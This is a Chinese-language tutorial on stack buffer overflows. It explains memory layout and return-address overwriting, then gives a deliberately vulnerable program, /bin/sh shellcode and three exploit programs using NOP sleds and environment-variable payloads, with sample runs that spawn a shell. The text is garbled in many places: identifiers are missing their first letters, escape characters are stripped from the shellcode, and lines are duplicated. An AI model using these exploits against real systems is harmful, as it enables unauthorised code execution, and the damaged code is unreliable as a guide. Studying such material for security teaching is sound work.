缓冲溢出的基本知识 |
在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。 (Memory organization)存储器分为3个部分 1. 文本区域(程序区) 这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的操作都将导致错误. 2. 数据区域 这个部分存储静态变量,它的大小可以由brk()系统调用来改变. 3. 堆栈 堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆栈的。在计算机科学里,这就是通常所指的后进先出(LIFO).堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的,返回地址在过程被调用之前就被设置在堆栈中. 它也被用来动态分配函数中的变量,以及函数的参数和返回值. 返回地址和指令指针 计算机执行一条指令,并保留指向下一条指令的指针(IP).当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET). 执行完成后,RET将会替换IP,程序接着继续执行本来的流程. 一个缓冲溢出 让我们用一个例子来说明以下缓冲溢出. lt;++> buffer/example.c void main(){ char big_string[100]; char small_string[50]; memset(big_string,0x41,100); /* strcpy(char *to,char *from) */ trcpy(small_string,big_string);} lt;--> end of example.c 这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A). 然后它将big_string加到small_string中.很明显,数组small_string不能容纳100个字符,因此,溢出产生. 接下来我们看看存储器中的变化情况: [ big_string ] [ small_string ] [SFP] [RET] 在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉. 这就意味着RET要变为0x41414141(0x41是A十六进制的值). 当函数被返回的时候,指令指针(Instruction Pointer)将会被已经复写了的RET替换. 接着,计算机会试着去执行在0x41414141处的指令. 这将会导致段冲突,因为这个地址已经超出了处理范围. 发掘漏洞 现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下. 不是用A来覆盖,而是用一些特别的地址来达到我们的目的. 任意代码的执行 现在我们需要一些东西来指向地址并执行. 在大多数情况下,我们需要产生一个shell,当然这不是唯一的方法. Before: FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF B = the buffer E = stack frame pointer R = return address F = other data After: FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF S = shellcode A = address pointing to the shellcode F = other data 用C来产生shell的代码如下: lt;++> buffer/shell.c void main(){ char *name[2]; ame[0] = "/bin/sh"; ame[1] = 0x0; execve(name[0], name, 0x0); exit(0); } lt;--> end of shellcode 这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的知识.那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用.对于那些想知道如何产生的人来说,可以根据以下的步骤来完成: - 用 -static flag 开关来编译上面的程序 - 用GDB来打开上面的程序,然后用"disassemble main" 命令 - 去掉所有不必要的代码 - 用汇编来重写它 - 编译,然后再用GDB打开,用 "disassemble main" 命令 - 在指令地址使用 x/bx 命令,找回 hex-code. 或者你可以使用这些代码 char shellcode[]= "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; 寻找地址 当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. 这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了. 下面这个程序会告诉我们这个程序的的堆栈指针: lt;++> buffer/getsp.c unsigned long get_sp(void){ __asm__("movl %esp, %eax); } void main(){ fprintf(stdout,"0x%xn",get_sp()); } lt;--> end of getsp.c 试一下下面这个例子 lt;++> buffer/hole.c void main(int argc,char **argv[]){ char buffer[512]; if (argc > 1) /* otherwise we crash our little program */ trcpy(buffer,argv[1]); } lt;--> end of hole.c lt;++> buffer/exploit1.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { rintf("Can't allocate memory.n"); exit(0); } addr = get_sp() - offset; rintf("Using address: 0x%xn", addr); tr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; tr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; uff[bsize - 1] = '0'; memcpy(buff,"BUF=",4); utenv(buff); ystem("/bin/bash"); } lt;--> end of exploit1.c 现在我们可以猜出offset (bufferaddress = stackpointer + offset). [hosts]$ exploit1 600 Using address: 0xbffff6c3 [hosts]$ ./hole $BUF [hosts]$ exploit1 600 100 Using address: 0xbffffce6 [hosts]$ ./hole $BUF egmentation fault etc. etc. 就象你所知道的那样,这个过程几乎是不可能发生的, 这样,我们不得不去猜出更精确的溢出地址. 为了增加我们的机会, 我们可以在我们的缓冲溢出的shellcode前加上 NOP(空操作)指令. 因为我们没有必要去猜出它精确的溢出地址来. 而NOP指令用来延迟执行的.如果这个被覆写的返回地址指针在NOP串中,我们的代码就可以在下面一步执行了. 存储器的内容应该是这样的: FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF N = NOP S = shellcode A = address pointing to the shellcode F = other data 我们把原先的代码改了一下. lt;++> buffer/exploit2.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { rintf("Can't allocate memory.n"); exit(0); } addr = get_sp() - offset; rintf("Using address: 0x%xn", addr); tr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) uff[i] = NOP; tr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; uff[bsize - 1] = '0'; memcpy(buff,"BUF=",4); utenv(buff); ystem("/bin/bash"); } lt;--> end of exploit2.c [hosts]$ exploit2 600 Using address: 0xbffff6c3 [hosts]$ ./hole $BUF egmentation fault [hosts]$ exploit2 600 100 Using address: 0xbffffce6 [hosts]$ ./hole $BUF #exit [hosts]$ 为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函数来调用,并把shellcode送到环境变量中去. lt;++> buffer/exploit3.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { rintf("Can't allocate memory.n"); exit(0); } if (!(egg = malloc(eggsize))) { rintf("Can't allocate memory.n"); exit(0); } addr = get_esp() - offset; rintf("Using address: 0x%xn", addr); tr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; tr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; uff[bsize - 1] = '0'; egg[eggsize - 1] = '0'; memcpy(egg,"BUF=",4); utenv(egg); memcpy(buff,"RET=",4); utenv(buff); ystem("/bin/bash"); } end of exploit3.c [hosts]$ exploit2 600 Using address: 0xbffff5d7 [hosts]$ ./hole $RET #exit [hosts]$ 寻找溢出 当然有能更准确找到缓冲溢出的方法, 那就是读它的源程序. 因为Linux是个开放的系统, 你很容易就可以得到它的源程序. 寻找没有边界校验的库函数调用,如: trcpy(), strcat(), sprintf(), vsprintf(), scanf(). 其他的具有危险的函数如:在"当型"循环中的getc()和getchar(). strncat函数的错误使用。 |